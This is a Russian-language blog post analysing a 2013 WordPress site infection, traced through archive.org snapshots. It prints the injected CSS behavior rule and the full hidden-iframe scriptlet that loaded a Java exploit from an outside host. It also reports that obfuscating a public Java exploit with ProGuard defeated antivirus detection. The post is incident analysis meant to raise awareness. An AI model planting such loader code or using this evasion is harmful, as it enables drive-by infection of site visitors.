Pull to refresh

Инфекция на сайте — история на примере

Reading time 3 min
Views 17K
image
Инъекция вредоносного кода в WordPress (Источник картинки)


Эта история начинается между 28.03.2013 и 2.04.2013. В этот промежуток времени сайт ******.ru был инфицирован. Это хорошо можно отследить по archive.org. В коде страниц появляется следующая строчка.


<link rel="stylesheet" type="text/css" media="all" href="http://******.ru/wp-content/style.css" />


Если в то время открыть этот css, то там и начинается путь к другой стороне интернета.

body {
behavior:url(http://******.ru/wp-content/wp-content/themes.sct);
}


Вот почти неизмененный файл themes.sct.

/*
 * Sizzle CSS Selector Engine - v0.9.3
 *  Copyright 2009, The Dojo Foundation
 *  Released under the MIT, BSD, and GPL Licenses.
 *  More information: http://sizzlejs.com/
 */
/* This file create by Cms. Don't delete it!
*/
<sсriptlet><implements type=behavior></implements><sсript>xchk='_';xurl='\x08//goo.gl/1JvYY';(xifr=document.createElement('iframe')).style.display='none';doсument.body.appendChild(xifr);with(xifr){id='xfid';addBehavior('#default#userData');load(xchk);if(!getAttribute(xchk)){setAttribute(xchk,'_');save(xchk);expires=(new Date((new Date()).getTime()+6e8)).toUTCString();src=xurl;}}</sсript></scriptlet>


Гугление по этому “чуду”, по крайней мере у меня, ничего не дало. При копировании кода в *.htc файл, срабатывание не наблюдалось. Вполне возможно, что это 0-day. Работоспособность проверена на IE7-8. Ссылка goo.gl/1JvYY ведет на justhaveown.myvnc.com/prok.php. К середине мая ссылка была уже мертва. Но у атакующего было не менее 45 дней и аудитория в 9000 уникальных посетителей в день, для выполнения задуманного. Кроме того, есть вероятность использования фильтра по провайдеру, стране и т.п.

Некоторая информация по загружаемому модулю нашлась здесь, если недоступна, то кэш. В результате был получен файл BBfrtY.jar, который по классификации Microsoft оказался Exploit:Java/CVE-2013-0422. Если верить securelist.com, то начало эпидемии было еще в середине января. При этом признаки заражения сайта вирусом трехмесячной давности, не были зарегистрированы администрацией сайта минимум полтора месяца. Под признаками, я понимаю наличие инородного файла themes.sct в директории сайта. Если верить archive.org, то окончательно следы пребывания вируса были убраны после первых чисел августа. Точнее сказать трудно, так как в archive.org нет снапшотов после этой даты.

К сожалению, это очень типичная история развития событий. Если даже крупные порталы могут хостить вирус несколько часов или даже дней. Автор лично наблюдал такую вирусную активность в начале лета, на сайте новостного СМИ, имеющего посещаемость 300-400 тысяч пользователей в сутки и портале крупной радиостанции со 100 тысячами пользователей. Мелкие же сайты могут вообще не узнать, что у них что-то было.

Для тестирования, насколько реальна и повторяема подобная ситуация сейчас, был выбран CVE-2012-4681 и код отсюда. Также был взят ProGuard 4.10 и файлик themes.sct.

Результаты тестирования на virustotal:

То есть даже сейчас, спустя полгода после публикации PoC, только 36% антивирусов считают действующий java эксплойт угрозой. А уж после обфускации этот показатель падает до нуля. Кстати, у меня есть большие сомнения, что каким-нибудь упаковщиком/протектором удастся добиться таких результатов для PE-файлов. Последствия десятилетий борьбы дают о себе знать.

Получается, что с одной стороны идет недостаточный аудит целостности файлов, БД или надежности паролей, а иногда просто: “Спасибо, в понедельник разберёмся”. С другой, недостаточная готовность “щита” к новым угрозам.
Все ссылки и файлы, используемые в статье, могут быть предоставлены личными сообщениями или если сообщество сочтет их публикацию уместной.
Tags:
Hubs:
+5
Comments 5
Comments Comments 5

Articles